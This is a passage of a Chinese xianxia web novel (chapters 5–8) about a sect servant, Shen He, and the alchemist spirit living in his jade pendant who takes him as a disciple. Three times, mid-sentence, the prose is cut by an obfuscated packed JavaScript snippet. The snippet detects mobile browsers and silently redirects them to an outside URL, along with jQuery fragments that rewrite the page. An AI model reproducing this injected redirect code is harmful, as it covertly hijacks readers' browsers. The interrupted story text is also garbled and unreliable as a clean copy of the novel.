谢琳琅心下松了口气，沈鹤果然聪敏。 什么？有一炉只差收丹的丹药没人看管？ 立刻有好几个人从自己的炼丹房里探出脑袋，想要捡便宜。 最终一个穿着黑色短打的魁梧大汉威慑了诸人，三两步踏入丹房。 这大汉略扫一眼，就看出了丹炉内有三缕厉魂。 他先是怒道：“我就知道柳师弟不忘人丹之法！但这法子有伤天和，来日会被天劫清算，是歪门邪道一流，你们不可学他！” 下一秒他话音一转，“可既然他自己都投炉了，只为炼成这一炉魔丹，那我等只能尊重祝福，并恭喜他魔道圆满。” 大汉轻松而蛮横地揭过此事，看向沈鹤。 沈鹤很紧张，小脸煞白。 大汉略一沉吟，他抬手一点，拿到了沈鹤的身份铭牌。 “沈鹤？你既然是柳师弟留下的杂役，必能继承柳师弟的意志，成就魔丹大道，我是林师伯的大弟子洪奎，你有兴趣来我这里当帮佣吗？” 沈鹤听说过洪奎这个名字。 林师伯作为丹房主管，平时是不会理会宗门弟子们的需求，只会为寂夜宫主等一众前辈们炼制丹药。 洪奎师兄则是大多弟子们购买丹药的首选。 沈鹤没等到谢琳琅的指点，明白了谢琳琅的意思。 他颤声道：“多谢洪师兄看重，我愿意。” 5. 第 5 章 “沈师弟，你真是太厉害了，你居然成了内门的杂役！” 结束了一天的丹房帮佣工作，沈鹤后在晚上回到自己住的房间。 庞三鲜正激动地等他，“怎么进的？赶紧教教我，咱们可是一起拜入寂夜宫的师兄弟，当然要互相帮衬啊！” 丹房可是肥差，宗门是兄弟姐妹总是需要丹药的，炼丹需要天赋，可是帮佣和杂役又不需要，虽然那地方折损率大了一些，但好处也显而易见啊！ 庞三鲜家是干酒楼的，他自认为在丹道上有一些天赋，早就琢磨着去丹房了，如今沈鹤先他一步进去了，那他岂不是可以近水楼台先得月？ 看到庞三鲜兴奋的样子，沈鹤连连苦笑。 少年人脸上满是疲惫之色，今日的遭遇对他来说过于刺激了。 他勉强提了一口气，笑道：“庞师兄，抱歉小弟太累了，等我休息好了必然和师兄详谈。” 庞三鲜虽然不甘心，可他看到沈鹤似乎累得快站不住了，只得让开了路。 沈鹤进入房间后，开启阵法，从怀中拿出一瓶丹药。 那丹药正是今天新鲜出炉、增加魔气的魔丹。 洪师兄将将丹药送给他了，还让他好自为之。 “想不明白？” 谢琳琅注意到沈鹤一直在看魔丹，“这丹药只有你能用。前两个杂役的冤魂蕴含在丹药里，我代你将始作俑者踹了进去，抚平了冤魂的憎恨，反倒祛除了魔丹内的业障，将后遗症压制到了最低。” 纵然谢琳琅是丹道大师，堪称丹王的存在，也不可能改变已经炼制了三分之二的丹药的属性。 “那姓洪的筑基修士将丹药送给你，只是顺水推舟而已，之后你的表现还不错。” 谢琳琅真情实意夸奖沈鹤，不管是沈鹤的急智，还是之后在洪师兄的盯梢下，开始进行各种魔植材料的处理，都远超谢琳琅的预计。 可见此前沈鹤之前修行还算认真，虽然实力不怎么样，但基础打得很牢靠。 而且沈鹤出身庞家的酒楼，他说自己在庞家帮佣时见到过那灵菇的特性，完美地将丹房里的事情敷衍了过去，倒是让谢琳琅刮目相看。 沈鹤轻声问：“……道爷，炼丹一直是这样吗？” 虽然他没明说，但谢琳琅明白沈鹤在问什么。 “当然不是，正儿八经的炼丹可不是今天这样。” 谢琳琅爽快地说：“我一会传你一些丹道基本法，你钻研一下，不过真修和魔修的炼丹手法有差别，你别在外面露出来。” 沈鹤似乎松了口气，他恹恹地说：“可我现在是魔修，我不想学炼制魔丹，那也太过分了。” “……是吗？” 谢琳琅的心蓦得柔软下来，他想到了很久以前的往事。 “其实魔门也不这么炼丹，最起码我认识的魔修不会这么做，只有堕入邪道的修士才会以人为材料炼制丹药，毕竟人乃万物之灵。大约三百年多年前，曾有一地叫曹家渡，有邪修屏蔽天机，将曹家渡隔绝天地，任由里面的人自相残杀，最终曹家渡成了一片白骨之地。” “那邪修利用死去血肉滋养出的冤魂花，炼制出了九殇丹，因为曹家渡所在的凡人国度正值战乱，无人知晓那里发生的惨事，然而有一个修士，曾和曹家渡的一户人家有约，说来年去吃他们家的青团……” 谢琳琅的声音像是从很远的地方传来，旧日沉寂的记忆仿佛随着唤醒，逐渐散发出斑斓而梦幻般的色彩。 “他来到曹家渡，堪破了邪修的恶行，并发誓要为曹家渡报仇雪恨，于是他一人一剑转战十几个凡俗国度及三大修行界域，最终在灵界与妖域边缘追到了邪修，并将之斩于剑下。” 沈鹤听到这里萌生出了极度向往之情，他兴奋地说：“那是道爷您做的吗？” 谢琳琅笑了，他开心地说：“当然不是我，是我……是我的师兄。” 下一秒，谢琳琅又悲从中来。 裴霁为仙界下一代翘楚，盛名在外，无人不知、无人不晓。 可是这才几百年过去，除了他这个苟延残喘的残魂，还有谁知道裴剑仙诛邪荡魔的威名？ 沈鹤并不知道谢琳琅的情绪变化，他激动极了：“这才是我想象中的仙师！我想要成为这样的人！” 谢琳琅听后心神巨震。 许久后，他才长出一口气，温和地说：“好，非常好。” 沈鹤这孩子天性纯善，若能拜入仙门就好了。 只可惜他身负魔根，又已经拜入了寂夜宫，和寂夜宫有了因果。 谢琳琅：“沈鹤，你可愿意拜我为师？” 好在沈鹤此刻只是寂夜宫里的杂役，还未真的拜师，谢琳琅既然生了教导沈鹤的念头，自然当仁不让地抢了师父这一重要身份。 沈鹤想也不想就双手捧着玉佩，高举过头顶，倒头就拜。 “师父在上，请受徒儿一拜！” 谢琳琅欣慰道：“好好好，行了拜师礼，以后你就是我的徒弟了。” 谢琳琅细细问过沈鹤日常修行的功法，又扫了一眼沈鹤平日里从宗门藏书阁借来的各种基础文书，里面涵盖了炼丹、炼器、炼阵等各种杂学的基础知识。 按照沈鹤的说法，他不知道自己擅长哪个，索性利用新入门弟子一个月免费租借期，将宗门各杂学的基础书籍都借了回来，看哪个能学进去就钻研哪个。 这也是在丹房的洪师兄考验沈鹤时，沈鹤能勉强敷衍过去的原因之一。 谢琳琅听后心下暗自赞许，沈鹤果然聪慧。 寂夜宫发给普通弟子和杂役的基础功法叫《夜海生光幻法》。 名字听起来很好听，实际效果很鸡肋，功法主打一个浅显平和，随着修为日深，可以遮蔽气息，释放幻象，甚至以假乱真。 说白了，是一种方便低阶弟子跑路的功法。 但好在这功夫没什么后遗症，甚至能在一定程度上抚平魔气先天的躁动和狂乱，让刚踏入修行的魔门弟子能保持冷静。 谢琳琅突然觉得这寂夜宫对普通入门弟子还算厚道了，只可惜这功法不适合沈鹤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456914|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你是火属性，这功法适合风、光、水属性的魔根。” 他为沈鹤重新规划了修行路线，“你先凑合练着，将我传你的丹道材料处理大全背下来，去丹房帮佣，想办法成为丹房的正式弟子。” “那边有常年不熄的天地灵火，大多炼丹师也都掌握着一二火法，你必须转修火属性的功法。”谢琳琅叮嘱，“不管什么火属功法都可以，否则就算我手上有你可以修行的火法，你也没法正式用出来。” 沈鹤连连点头：“听师父的。” 将大概事情说完后，谢琳琅就打发沈鹤去休息了。 今日的变化让师徒两人都有些难以冷静，各自需要时间抚平心绪。 自从裴霁陨落后，随着时间日久，谢琳琅已经很久没有像现在这样回忆过那个人的事了。 不是他不想，而是每次回忆，过后心中都只会残留空虚和痛苦。 谢琳琅也曾想过随着裴霁一起身死道消。 可每当他浮现这个念头时，他总是会被各种意外打断，比如突然想起有一炉丹药可以这样改进，比如突然有人找上门委托他炼丹。 几次过后谢琳琅就玄之又玄地有了一种特别的预感。 此刻尚且不是他陨落之时。 但他也真的提不起修行的心思，所以自那之后就一直在摆烂，结果没成想，他的所作所为却在不经意间符合了道法自然的真理，竟从化神进阶到了渡劫期！ ……但如果修行可以摆烂，那老天爷也太不公平了，于是他终于没能扛过天劫，身死道消、哦不是，成了沈鹤的随身老爷爷。 看吧，如果老天爷不想让你死，连被雷劫劈死都是一种妄想。 谢琳琅胡思乱想了一通，终于叹了口气，开始认真思考，他要怎么重塑真身了。 ……谁乐意一直当随身老爷爷啊，肯定得想办法脱离玉佩禁锢。 但这并不是一件容易的事。 谢琳琅作为丹道大师，的确掌握一二重塑真身的炼丹秘法，但需要沈鹤达到化神期才行。 而且沈鹤是魔门修士，谢琳琅掌握的丹方是基于仙门灵力而研发的，他得重新研究魔修丹道，并将秘法做一定修改。 更麻烦的是，若使用沈鹤的修为炼制丹药，这丹药必然是魔丹。 吃了魔丹，重塑的真身天然具备魔根，也就是说他谢琳琅要被迫成魔修了！ “幸好没告诉乖徒儿我的姓名。” 谢琳琅耷拉着脑袋，谢琳琅是仙门修士，转生后若成魔修了，还是换个身份姓名比较好。 换个姓名…… 谢琳琅有些恍惚，他想到了踏入山门前，家中父母为他取的名字了。 他本名谢玉，拜入山门后，师尊说玉意五德，礼祀天地之器，他刚踏入修行，最好不要用过于尊贵之名。 于是谢玉变成了谢琳琅，后来更是直接被人尊称为琳琅道君。 谢琳琅长出一口气。 仙门修士顺天而行，魔道修士逆天改命，如今倒是可以用过去的本名了。 6. 第 6 章 谢琳琅是个行动力十足的人。 虽然沈鹤只有炼气一层，是修士最底层的菜鸡，可谢琳琅已经想好重塑仙体后的名字了。 按照正常修士的修行速度，哪怕是魔修，想要从炼气到化神，最快也要耗费百年时间。 谢琳琅可不想先跟着沈鹤熬一百年，再自己重修一百年回归化神境界。 在沈鹤盘膝于静室内专注修行时，谢琳琅在玉佩里思考一个问题。 他如今用的魔气都是沈鹤提供的，那如果让沈鹤将玉佩给修为更高的修士，谢琳琅是否能操纵高阶修士的身体？ 谢琳琅若有所思，注意力放在了沈鹤父亲留下的这枚玉佩上。 都是魔修了，为什么不走捷径？ 同一个夜晚，另一个地方，白天沈鹤帮佣的丹房院落。 在院落最深处有一个设置了种种阵法的超大炼丹静室。 此刻，白天在丹房内颇有权威的洪奎正低声向盘坐在一个巨大丹炉前的人汇报。 “……我仔细询问了沈鹤，那小子出身庞家酒楼，曾在后厨见过魔植，恰好认出了料台上的鬼爪灵菇，这才阴差阳错，定住了柳师弟，最终丹炉吸取了柳师弟的生魂，炼制了……” “行了。” 背对着洪奎的人语气冷漠。 “一群成事不足败事有余的东西，天天想着走捷径，就不能踏踏实实地琢磨魔气本性，研究丹道技巧吗？” 这人有着一头黑白相间的灰色长发，被一根白玉簪挽在了头顶成了发髻。 他穿着黑色道袍，袍角上绣着日月阴阳双纹，明明是仙风道骨之人，耳朵上戴着一对六棱柱的墨绿色耳坠。 此刻这耳坠上散发着诡异的红光，像是一只来回晃动的眼睛，审视着跪坐在后方的洪奎。 洪奎低着头，魁梧大汉此刻缩成一团，完全不敢抬头去看自己的师尊。 此人正是丹房主管，寂夜宫元婴修士林郁。 洪奎听到师尊埋汰的话语，心里腹诽，是啊，大家都知道人丹道是邪修秘法，是捷径，但既然都是魔修了，干嘛不走捷径？ 这不是没得选嘛，要是有灵根，早跑去修仙了，谁乐意当魔修？ 再说了，很多魔修在发现自己没有飞升的希望后，就只想着在死之前获得强大力量爽一把，总也比当个凡俗之辈浑噩度过一生要强啊！ 柳师弟马上寿数将近，不拼一把就只能化为无数魔气返还给天地，正经魔修谁会做这种损己利人的事啊？ 不过纵然洪奎在心底疯狂吐槽，也不敢说出口，只是唯唯诺诺地点头称是。 比起将人塞进炼丹炉里当材料，他这个师父可怕多了。 洪奎不敢回想自己无意间窥伺到的一幕，赶紧摒弃脑中所想。 “那沈鹤以后就来丹房帮佣，您看……” “你自己决定。” “是。” 洪奎连忙起身离开，独留下林郁继续看护丹炉火候。 他一动不动，始终维持着魔气的输入，时不时往丹炉里加减材料。 就这么匆匆过去了三天，突然丹炉发出了清亮的鸣叫声。 林郁大喜，连忙打出法诀。 一枚金黄色的丹药从丹炉中飞出，落入了一旁的玉瓶内。 他仔细检查了一番，没发现什么异常，立刻拿着玉瓶消失在丹房中。 很快，林郁来到寂夜宫深处一个戒备森严的房间外。 门口站着两个黑甲覆面的巨型傀儡，其中一个挡住了青年。 “来人止步，通报姓名。” “林郁。” 林郁报名后，傀儡让开道路，他打了法诀，进入房间。 这房间极大，但整个房间空荡荡的，边缘角落一片黑暗，唯独中间用无数天地灵木搭建了一个鸟巢。 鸟巢上空垂下一层泛着金色光辉的薄纱，是房间里唯一的光亮。 而下方的鸟巢上铺满了华丽皮毛与五颜六色的宝玉珠石，上面还横着一个人。 那人全身笼罩着黑紫色神光，看不清面容。 他穿着墨绿色绣暗纹长袍，一头黑色长发如瀑布般自然垂下，在闪烁着光亮的宝石映衬下，反而如深邃的黑洞般冰冷深沉。 但那人落在身前的袖摆被叠成了软垫，上面竟蜷缩着一团毛绒绒。 听到动静，那毛绒绒探出一只鸟头。 小鸟只有巴掌大，通体漆黑，脑袋上支棱着杀马特一样绒毛。 绒毛是灰色、白色以及黑色三色交杂，小鸟虽然很小，但在看过来的瞬间，那鲜红的眼睛带着一抹恐怖的威慑之感。 见到林郁，小鸟眯了眯眼，他立刻张开鸡翅一样的小翅膀，像是走地鸡一样冲了过来。 林郁抬手试图抵挡。 但那走地鸡看起来弱小，冲击力却非常可怕，尖锐的鸟嘴直接将林郁的手撞了个血窟窿。 林郁嘶了一声，赶紧用力将小鸟甩开。 他没好气地说：“裴寂夜，你发什么神经？” 走地鸡没理会林郁，鸡翅一样的肉翅膀边缘有细细的爪子。 他勾着林郁的袖袍，轻巧地抢走了林郁手里的玉瓶。 走地鸡豪迈地一爪子扇掉了瓶塞，将瓶子扔到半空。 瓶子在半空倒转，一枚金色丹药正好落在下方的血盆大口中。 走地鸡吞了那颗金色丹药。 下一秒，这走地鸡口吐人言：“林郁老子要宰了你！！” 林郁满头雾水：“你有病吧？我辛辛苦苦给你炼制化骨丹，让你在幼生期就能说人话，你还要宰了我？” 走地鸡：“你要苦死我啊？这丹药比仙门三千年成精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456915|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黄连还特么苦！！” “……哦，我找人试药，但你是鸟，抱歉，我忘记人妖有别、味觉也不同了……” 林郁顿时心虚不已，他连声咳嗽，“好了这不重要，咱们魔修丹药不都是这样吗？效果绝对没问题，就是副作用大了点。” 走地鸡、也就是寂夜宫被尊为宫主的寂夜魔君冷酷无情地说：“下次还是这么苦，我就砸了你的宝贝丹炉。” 林郁：“你神经病啊，没有丹炉，我就没法给你炼丹了。” 裴寂夜：“我不管，我要不苦的化骨丹！” 林郁烦死了：“那你等着。” 他一摆手，以一种横扫千军之势，气势汹汹地说：“苦不苦这种琐事不重要，你现在总算能说人话，也不用装死了，你可以说了吧？” “你怎么将自己折腾成这副模样了？别告诉我是风如月干的，他那如月尊者的名头虽然大，但我们都知道他就是个见到美人就自己倒贴的软蛋。” 裴寂夜低头用鸟喙梳理自己刚长出来的寥寥几根杂毛。 林郁气的直跳脚，“你别装听不懂，你给我说句人话！” “帮我找个人。” 走地鸡歪了歪头，脑袋上凌乱的杂毛抖了抖。 “不知道样貌、不知道年纪、不知道状况、不知道男女、更不知道是不是人，但他还活着，必然还活着。” 头顶的金色微光落下片片光晕，落在小小的鸟儿身上，无端放大了他的倒影。 那漆黑的影子仿佛自己活了一样，不断颤动着、挣扎着、扭曲着，并发出了隐隐约约嘶吼之声。 “我都活着，他怎么能死，他怎么敢死？” 裴寂夜的声音仿佛深渊中的冰凌破裂之声，脆弱中透着深深的偏执。 林郁微微一凛，不自禁地侧身，拢在袖子里的手掐了个随时跑路的遁法。 虽然寂夜魔君出了意外变成妖禽幼崽，可也具备凶残的杀伤力，发疯起来真的会死魔啊！ 大概过了一刻钟左右，走地鸡身上那股可怕的气息稍微平复了些许。 林郁心下稍安，这才开口：“……你听听你刚才说的话，是人能说出来的吗？你没有给出任何信息，我怎么帮你找人？” 裴寂夜理直气壮：“我现在不是人，是鸟。” 林郁冷笑：“既然是鸟，那你说什么人话？” 下一秒，那走地鸡再张口，竟又是叽叽喳喳的声音了！ 唧？杀马特走地鸡的脸上露出了一个非常可笑的震惊表情。 林郁一甩袖袍，人已经不见了，只留下了淡淡余音。 “都说了魔丹有副作用，除了比较苦，就是持续时间有点短……” “唧唧唧——！！！” 走地鸡发出了声嘶力竭的尖叫，这叫有点短？林郁你个王八蛋！！ 7. 第 7 章 第二天一大早，沈鹤在庞三鲜羡慕的目光中来到丹房。 洪奎丹房里还有两个杂役，他们一个是炼气九层，一个是炼气七层，据说已经在丹房帮忙两年以上了。 两人对沈鹤比较客气。 毕竟沈鹤一来就送了柳师兄一场魔道圆满的功德，真是后生可畏。 其中一人主动告诉沈鹤，洪奎师兄专门就柳师兄炼制人丹的事发了内部通报。 若丹房再出现类似的事，只要被发现了，那就自己投丹炉圆满魔丹一道。 谢琳琅对此的评价是：“抓住了才惩罚，成功了就既往不咎，你还是小心点吧。” 沈鹤深以为然，他很有眼色地向两位杂役询问，有什么是自己能做的活计。 两个杂役对视一眼，将一些简单的扫撒和分拣药材的工作交给了沈鹤。 沈鹤没有任何怨言，让干什么就干什么，非常勤快踏实。 哪怕沈鹤没有特意盘膝修行，也能察觉到体内的魔气在灵火溢散出的力量蒸腾中越发精纯起来。 沈鹤本身又是火属性，非常契合这里的环境。 一天下来，沈鹤的魔气运转速度比往常快了一倍不止。 他心中暗自咋舌，难怪庞三鲜特别想来丹房帮忙，只要能在这里站稳脚跟，此处真的是修行福地啊！ 沈鹤发出感慨：“听闻丹房经常缺少杂役和帮佣，除了折损率高了点，原来在这里修行速度会比外界快一倍，像是今天在丹房里帮忙的两位师兄，他们再有几个月就准备筑基了。” 筑基成功后就可以拜入元婴修士门下，要么自己提前找好师尊，要么等宗门统一安排，但不管怎么说，元婴修士都有属于自己炼丹的静室，身为弟子可以蹭一蹭老师的丹房，自然不会再回来。 这也导致了宗门丹房院落内总是缺少帮忙的杂役和帮佣。 谢琳琅心不在焉地敷衍着沈鹤。 他如今全幅注意力都在容纳残魂的玉佩上。 沈鹤注意到谢琳琅似乎有自己的事，也不敢打扰，索性拿起谢琳琅给的丹道真解，细细阅读并背诵起来。 谢琳琅在思考一件事情。 按照沈鹤的说法，他的父亲将他交付一个卖甑糕的普通人，所以谢琳琅先入为主，误以为沈鹤的父亲是低阶修士。 但有没有一种可能，沈鹤的父亲其实是一位高阶修士？ 他故意反其道而行之，刻意将孩子交给普通人，只为给沈鹤争取一线生机？ 而这样做最大的破绽，就是沈鹤身上的异样。 修士的孩子大抵都有着不错的天赋和灵根，出生后又食用了一些天地灵物，在普通人中就如黑夜里的明星那般闪烁明显。 而这枚玉佩的作用其实是隐蔽天机、压制沈鹤的天赋，甚至可以在一定程度上容纳沈鹤那远超常人的灵魂力量。 当沈鹤拜入寂夜宫，成为魔修弟子，玉佩的作用就开始衰弱，因为沈鹤是修士了，他不需要玉佩的遮蔽和隐藏了。 于是谢琳琅落入其中，残魂得到了玉佩的温养。 “但这也并非是什么天品甚至是极品魔器。” 若是修士使用的法宝武器，在内部会出现一道道法宝灵器的禁制和符文。 比如谢琳琅生前所用的拂尘，就是一把天阶七品的高阶灵器，内含四十九道禁制，共有三种特殊功效，还具备不错的辅助能力。 当然他那把拂尘已经在天打雷劈下化为了灰烬。 可是谢琳琅并未在玉佩里找到丝毫禁制和符文的痕迹。 他又和沈鹤打了声招呼，暂时操纵了沈鹤的身体，用魔气细细探查这枚玉佩，并未激发出什么妖族灵族的气息。 最终谢琳琅得出了一个非常离谱的结论。 沈鹤小心翼翼地开口：“师尊？” 谢琳琅沉默良久才道：“你这块玉佩竟是一块仙品级的材料。” 沈鹤怔了怔，他不明白这句话的含义和分量。 “还请师尊解惑。” 谢琳琅：“我给你的丹道真解，你看到哪一部分了？” 沈鹤：“还在看基础材料处理技巧，还有丹炉故障和炼丹过程中的各种急救手法……” 他毕竟在丹房帮忙，肯定要派上用场才行，所以优先学习这些实用技巧。 谢琳琅微微颔首：“你翻到后面的附录章，上面有记载各种无法探查出根底的材料表象，越是极品的材料越有灵性，会天然地伪装自己……” 他细细讲解了一番关于材料的各种品级、灵性、辨别真假的技巧等等，最后才道：“我排除了所有猜测后，只能确定你这玉佩是一种极品材料的伪装形态，一旦通过特定的手法对其进行炼制，就能露出真正面目。” 沈鹤听后有些惊讶，但很快他想到了什么。 “师尊，若我这玉佩真是极品材料，您就拿去用吧。” 谢琳琅诧异不已：“你知道自己在说什么吗？这可是你父亲留给你唯一的、用来相认的东西。” 沈鹤却道：“我与爷爷相依为命这么多年，也没见什么父母找上门，比起未来父母血亲，我更在乎现在，我只知道有师尊帮忙，我的修行之路会顺畅很多，我的爷爷能安享晚年、寿终正寝，这就足够了。” 再退一步讲，因果业障玄之又玄，他将如此贵重之物交给玉佩里的随身师尊，若师尊不想被天劫清算，也会对他好一些的，对吧？ 谢琳琅沉默良久，终是一声叹息。 “……你是个聪明的好孩子，惜乎天生魔根，若是能拜入仙道宗门，必能成为天之骄子。” 沈鹤已经很知足了。 他随爷爷卖甑糕，比那些无处可回的流浪汉与乞儿要强太多，人贵有自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456916|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知。 他笑着道：“天之骄子又如何？此刻能成为师尊的弟子，已然是我三生有幸了。” 谢琳琅听后心神微颤。 那一年他与师兄两情相悦，师兄曾欢喜地在宗门里到处御剑飞行。 谢琳琅犹记得裴霁抱着他，笑声清朗明亮，胸腔震动间，那难以言喻的喜悦也流淌在了谢琳琅的心里，化为了一汪深不见底的蜜泉。 裴霁一边笑一边恨不得对所有人说：“我裴某何其三生有幸，得遇琳琅。” …… 谢琳琅不死心地问沈鹤：“你引入第一缕魔气时，真的没有想到什么吗？” 沈鹤到底是不是裴霁的转世？ 沈鹤满头雾水：“额，我当时想着，引魔气入体后就不饿了，可以帮爷爷省一顿饭钱？” 谢琳琅无奈：“算了，等你结丹再说吧。” 道从金丹起，也许等沈鹤结出魔丹，就能想起一二呢？ 沈鹤在丹房连着干了五天，之后一切顺利。 可能看沈鹤还算上道，这天洪奎炼丹结束，他打量了沈鹤一眼，将一枚废丹扔给了沈鹤。 沈鹤一愣，连忙道谢：“多谢洪师兄。” 像是洪奎这样低品的炼丹师，炼制丹药总会有废品率，一般杂役可以将丹师不要的废品拿去贩卖或者自己研究。 沈鹤是新人，理论上还轮不到他处理废丹。 沈鹤得了废丹后，主动找两位杂役师兄商量了一番，请他们代为贩卖，他只拿三分之一的魔石，算是将第一笔钱送人了。 两个杂役师兄顿时缓和了神色。 考虑洪奎师兄将废丹给沈鹤，其实是变向认可了沈鹤，再加上沈鹤这些时日很谦逊宽和，还算好相处，其中一人道：“不是我们兄弟占你便宜，你刚来，还不知道其他丹房里的师兄师姐们脾性，若是招惹了其他师兄师姐，也会带累我们。” 沈鹤：“以后还请两位师兄多多帮忙。” 另一个杂役开始给沈鹤讲述整个丹房的布局、结构和一些固定丹房。 “……比如最前面的天字院，你可不要朝那边去，林师伯的药人都在那边，再往前就是宗门大前辈们常用的丹房了，那里面连丹炉最低都是天品的，更别说咱们宗门还有一个号称是其他魔门都没有的极品魔炉。” 沈鹤正专心听着，冷不丁听谢琳琅道：“想办法去看看那极品魔炉，若是可用，咱们就得筹谋一番……” 沈鹤吓得魂飞魄散：“您要偷这魔炉？” “以你现在的修为，偷了也藏不住。” “您还真想偷过啊！” “你闭嘴！”谢琳琅先是无语，继而认真道，“你要想办法拜入这极品魔炉的主人名下，才能光明正大地借用魔炉。” 沈鹤松了口气，他也认真了。 “弟子遵命。” 8. 第 8 章 “沈师弟，拜托了，我真的很想去丹房帮忙！” “……郑师兄一直挂着丹房帮佣的任务，庞师兄想去，自然可以接取任务。” 沈鹤又结束了一天帮佣回到房间，就被庞三鲜堵在了门口。 庞三鲜的脸色很不好：“你明知道我想要的是什么。” 沈鹤忍不住揉了揉眉心。 丹房帮佣有一定危险，庞三鲜希望找个性子好的师兄或者师姐，还希望沈鹤当他的后盾，毕竟沈鹤如今在丹房大师兄洪奎那帮忙。 但沈鹤自己刚在丹房站稳脚跟，只和洪奎师兄说过一句话，怎么敢借用洪奎师兄的势，去给庞三鲜撑腰？ 更何况柳师兄死了，虽然洪奎师兄定性柳师兄是自己主动投炉而死，可丹房那些师兄师姐都清楚怎么回事，一个个正盯着沈鹤呢，沈鹤岂敢猖狂？ 沈鹤深吸一口气，正想耐着性子劝说一番，突然身体微微一僵。 完了，师尊上身了。 庞三鲜只觉眼前的沈鹤气质骤变。 本来沈鹤的眼睛微微有点圆，笑起来特别有亲和感，但此刻那微圆的眼睛眯了一下，少年轻轻抬起下巴，一瞬间从温和可亲变成了清冷孤傲。 明明沈鹤比庞三鲜要矮一点，但被这样的眼风一扫，庞三鲜竟有种被审视和俯瞰的感觉。 庞三鲜不自觉地哆嗦了一下。 谢琳琅放缓语气，细声细气地问：“你想去丹房当杂役？” 庞三鲜已经意识到了什么，他那肥硕的身体微微发抖，想要转身逃跑，可身体却完全不听使唤，仿佛一滩烂肉。 他笑得比哭还难看。 “……我、我怎么想不重要，您、您看着能行就安排，若、不能行，您就当刚才有狗在叫，行吗？” 沈鹤听后很是佩服。 他又是感慨又是小心翼翼地对谢琳琅说：“师尊，庞师兄只是太想进步了……” 谢琳琅没理会沈鹤，继续道：“我觉得你能行。” 庞三鲜突然不抖了，他脸色涨红，激动地说：“您、您也这么觉得？” 谢琳琅睨了庞三鲜一眼，冷淡地说：“想去丹房当杂役，总要掌握一些基础丹道知识和技巧，我且考考你。” 谢琳琅问了几个基础的丹炉操作问题，庞三鲜对答如流。 谢琳琅又从火候、材料基础、炼丹应急处理方式等多方面考察庞三鲜，庞三鲜额头直冒汗，虽然说得磕磕绊绊，但总归都说得大差不差。 谢琳琅还算满意，庞三鲜不愧是酒楼家的少爷，在炼丹一道上的天赋不比沈鹤差，沈鹤强在了火属性的魔根上，但庞三鲜更有灵性。 “行了，明天去找郑师兄接任务吧。” 谢琳琅说完就换回了沈鹤。 沈鹤和庞三鲜面面相觑。 沈鹤尴尬又警惕，万一庞师兄将他的异状说出去…… 庞三鲜却抬手用袖子擦汗，他半是抱怨半是激动地对沈鹤说：“你小子瞒的够深啊！有这样的靠山不早说，这前辈怎么称呼？有什么要求吗？咱们尽量满足，也许能在前辈的指导下快速进阶！” 沈鹤有些惊讶。 谢琳琅嗤笑道：“你爷爷在他手上，只要你不提出接走你爷爷，他就不会主动暴露你的情况。” 有把柄捏在手里的随身老爷爷，还有比这更好的靠山了吗？没有了！ “若是他天天缠着你，你不仅没空修行，也需要小心他怀恨在心，甚至伤害你爷爷，不如给他一些甜头，让他主动帮忙。” 谢琳琅细细教导，“虽说修行看个人，但修行之路上有一二同行者，能让你少遇到些麻烦，而且我们需要快速摸清楚丹房的情况，有庞三鲜帮忙，你也能专心修行。” 沈鹤感动不已：“让师尊为弟子费心了。” 谢琳琅坦然道：“我是你师尊，拿了你的玉佩，自然要接受并帮你解决因果与业障，你若想回报我，就好好修行，快点提升修为，将那极品魔炉弄到手。” 沈鹤：“……” 他现在才炼气一层啊！这也太难了吧！ 但不得不说，庞三鲜去了丹房后，沈鹤的确多了不少便利之处。 庞三鲜比他更擅长交际，很快就和丹房杂役混到了一起，还摸清楚了丹房院落里一些隐蔽情况，为沈鹤节省了很多时间。 一眨眼半个月过去了，沈鹤凭借着丹房灵火以及谢琳琅的指点，快速进阶到了炼气二层，庞三鲜更是依靠购买废丹和灵火，直接从炼气三层窜到了炼气五层！ 沈鹤有些惴惴，总觉得自己进度太慢了。 谢琳琅注意到了沈鹤心态不稳，思来想去，有了主意。 “你去三号丹房，将庞三鲜叫出来，找没人的地方，将玉佩放在庞三鲜手里。” 沈鹤大惊：“师尊你要抛弃我了吗？” 谢琳琅：“再胡言乱语，为师立刻将你扔进丹炉里！” 沈鹤立刻噤声。 洪奎也不是天天炼丹，他不炼丹时，只需要一名杂役看守丹炉和灵火即可。 沈鹤离开房间，他来到庞三鲜帮忙的丹方门口，轻轻唤了庞三鲜出来。 庞三鲜恰好不忙，和身边的杂役打了个招呼，随着沈鹤离开，两人到廊道拐角没人的地方，庞三鲜不解：“有啥事？” 一般在丹房这边，沈鹤很少主动找他，两人都是回房后再交流彼此得到的信息。 沈鹤深吸一口气，将那枚黑红玉佩放在了庞三鲜手中。 